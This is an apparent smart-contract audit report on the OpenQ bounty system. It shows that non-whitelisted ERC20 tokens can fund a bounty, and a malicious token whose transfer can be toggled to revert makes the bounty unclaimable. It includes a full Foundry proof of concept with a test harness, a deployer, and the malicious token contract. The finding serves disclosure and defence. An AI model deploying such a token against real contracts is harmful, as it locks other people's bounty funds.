slowfi

medium

# Funders can fund with an evil token and make bounty not claimable

## Summary

The implementation of the `fundBountyToken` function from the `DepositManagerV1.sol` contract allows random tokens to fund a bounty of the limit of the whitelist is not reached yet.

This can have serious implications and it is possible to fund a bounty with a malicious token and make the bounty not claimable.

## Vulnerability Detail

As opossed to the Nft receive function the `fundBountyToken`  allows token  that are not whitelisted fund the bounty. However a malicious token can be introduced to make the bounty not claimable.

In order to execute the proof of concept it is required to follow the next steps:

1. Create and empty forge directory
2. Install the openq repo as a library inside the lib folder
3. Install other necessary dependencies such as: forge-std, openzeppelin and openzeppelin upgradable.
4. Inside the folder lib/openq/contracts/Mocks  create the TestEvilToken.sol contract.
5. Inside the test folder create the two contracts BountyTester.t.sol and deployer.t.sol
6. Run the PoC with `forge test --match-test testEvilToken`

BountyTester.t.sol
```solidity
pragma solidity 0.8.17;

import "./deployer.t.sol";
import "forge-std/Test.sol";
//import "openq/Library/OpenQDefinitions.sol";

contract BountyTester is Deployer, Test {

    address user1 = vm.addr(0x02);
    address user2 = vm.addr(0x02222);
    string _issuerExternalUserId = "slowfi";
    string bountyId = "superId";

    function setUp() public {
        deployEnv();
    }

    function initializeAtomicBounty() internal returns(address bounty) {
        string memory organization = "hardDickCafe";
            
        bool _hasFundingGoal =  true;
        address _fundingToken = address(0);
        uint256 _fundingGoal = type(uint256).max;
        bool _invoiceRequired = false;
        bool _kycRequired = false;
        bool _supportingDocumentsRequired = false;

        bytes memory data = abi.encode(_hasFundingGoal, _fundingToken, _fundingGoal, _invoiceRequired, _kycRequired, _supportingDocumentsRequired, _issuerExternalUserId, _issuerExternalUserId, _issuerExternalUserId);

        OpenQDefinitions.InitOperation memory initOp = OpenQDefinitions.InitOperation(uint32(0), data);
        vm.prank(user1);
        bounty = openqv1.mintBounty(bountyId, organization, initOp);
    }

    function testEvilToken() public {
        address bounty = initializeAtomicBounty();
        etoken.mint( user1, 10 ether );
        vm.startPrank(user1);
        etoken.approve( bounty, 10 ether );
        depositmanager.fundBountyToken( bounty, address(etoken), 10 ether, 15, _issuerExternalUserId );
        vm.stopPrank();

        etoken.pause();

        vm.prank(ORACLE_ADDRESS);
        vm.expectRevert("Bounty Not Claimable");
        claimmanager.claimBounty( bounty, user2, abi.encode( address(0),_issuerExternalUserId,address(0),_issuerExternalUserId ) );
    }
}
```

deployer.t.sol
```solidity
pragma solidity 0.8.17;

import "openq/OpenQ/Implementations/OpenQV1.sol";
import "openq/OpenQ/Proxy/OpenQProxy.sol";
import "openq/ClaimManager/Implementations/ClaimManagerV1.sol";
import "openq/DepositManager/Implementations/DepositManagerV1.sol";
import "openq/TokenWhitelist/OpenQTokenWhitelist.sol";
import "openq/Bounty/Implementations/AtomicBountyV1.sol";
import "openq/Bounty/Implementations/OngoingBountyV1.sol";
import "openq/Bounty/Implementations/TieredPercentageBountyV1.sol";
import "openq/Bounty/Implementations/TieredFixedBountyV1.sol";
import "openq/Bounty/Proxy/BountyBeacon.sol";
import "openq/BountyFactory/BountyFactory.sol";
import "openq/Mocks/TestToken.sol";
import "openq/Mocks/TestEvilToken.sol";

abstract contract Deployer {

    address ORACLE_ADDRESS = address(0x01);

    OpenQV1 openqv1;
    OpenQV1 openqv1Residual;
    OpenQProxy openqproxy;

    ClaimManagerV1 claimmanager;
    OpenQProxy claimproxy;

    DepositManagerV1 depositmanager;
    OpenQProxy depositproxy;

    OpenQTokenWhitelist wtoken;

    AtomicBountyV1 atomicbounty;
    OngoingBountyV1 ongbounty;
    TieredPercentageBountyV1 tpbounty;
    TieredFixedBountyV1 tfbounty;

    BountyBeacon atomicbbeacon;
    BountyBeacon ongbbeacon;
    BountyBeacon tpbbeacon;
    BountyBeacon tfbbeacon;

    BountyFactory bfactory;

    TestToken token;
    TestToken token1;
    TestToken token2;
    TestToken token3;
    TestToken token4;
    TestToken token5;
    TestEvilToken etoken;

    function deployEnv() public {
        openqv1 = new OpenQV1();
        openqv1Residual = openqv1;
        openqproxy = new OpenQProxy(address(openqv1), new bytes(0));
        openqv1 = OpenQV1( address(openqproxy) ); //Assign the proxy address to the OpenQV1 variable to have the ABI with the address
        openqv1.initialize();

        claimmanager = new ClaimManagerV1();
        claimproxy = new OpenQProxy(address(claimmanager), new bytes(0));
        claimmanager = ClaimManagerV1( address(claimproxy) );
        claimmanager.initialize( ORACLE_ADDRESS );

        depositmanager = new DepositManagerV1();
        depositproxy = new OpenQProxy(address(depositmanager), new bytes(0));
        depositmanager = DepositManagerV1( address(depositproxy));
        depositmanager.initialize();

        wtoken = new  OpenQTokenWhitelist(5);
        depositmanager.setTokenWhitelist(address(wtoken));

        atomicbounty = new AtomicBountyV1();
        ongbounty = new OngoingBountyV1();
        tpbounty = new TieredPercentageBountyV1();
        tfbounty = new TieredFixedBountyV1();

        atomicbbeacon = new BountyBeacon(address(atomicbounty));
        ongbbeacon = new BountyBeacon(address(ongbounty));
        tpbbeacon = new BountyBeacon(address(tpbounty));
        tfbbeacon = new BountyBeacon(address(tfbounty));

        bfactory = new BountyFactory(address(openqv1),address(atomicbbeacon),address(ongbbeacon),address(tpbbeacon),address(tfbbeacon));

        // Initialize
        openqv1.setBountyFactory(address(bfactory));
        openqv1.transferOracle(ORACLE_ADDRESS);
        openqv1.setDepositManager(address(depositmanager));
        openqv1.setClaimManager(address(claimmanager));
        claimmanager.setOpenQ( address(openqv1) );

        //Mock Tokens
        token = new TestToken("Token", "TK", 18);
        token1 = new TestToken("Token", "TK", 18);
        token2 = new TestToken("Token", "TK", 18);
        token3 = new TestToken("Token", "TK", 18);
        token4 = new TestToken("Token", "TK", 18);
        token5 = new TestToken("Token", "TK", 18);
        etoken = new TestEvilToken("EToken", "ETK", 18);
    }
}
```

TestEvilToken.sol
```solidity
// SPDX-License-Identifier: AGPLv3
pragma solidity 0.8.17;

import {ERC20} from '@openzeppelin/contracts/token/ERC20/ERC20.sol';

/// @title Test token contract
///  @author Superfluid
/// @notice Test ERC20 token that allows any one mint new tokens.
contract TestEvilToken is ERC20 {
    uint256 public constant MINT_LIMIT = 1e12 ether;
    uint8 private _decimals;
    bool toogle;

    constructor(
        string memory name,
        string memory symbol,
        uint8 initDecimals
    ) ERC20(name, symbol) {
        _decimals = initDecimals;
    }

    function mint(address account, uint256 amount) external returns (bool) {
        assert(amount <= MINT_LIMIT); // no revert msg for you, bad boy
        ERC20._mint(account, amount);
        return true;
    }

    function decimals() public view override returns (uint8) {
        return _decimals;
    }

    // Shuts up slither about making decimals() external :-)
    function getDecimals() external view returns (uint8) {
        return decimals();
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        if ( !toogle ) { 
            _transfer(owner, to, amount);
        } else {
            revert("Bounty Not Claimable");
        }
        return true;
    }
    
    function pause() public {
        toogle = !toogle;
    }
}
```

## Impact

## Code Snippet

https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/DepositManager/Implementations/DepositManagerV1.sol#L45-L50

## Tool used

Manual Review and foundry proof of concept

## Recommendation

Do not allow random  ERC20 tokens. Or set a mechanism in order to the bounty minter/issuer to remove one of the token addresses from the deposits to avoid getting the bounty locked.
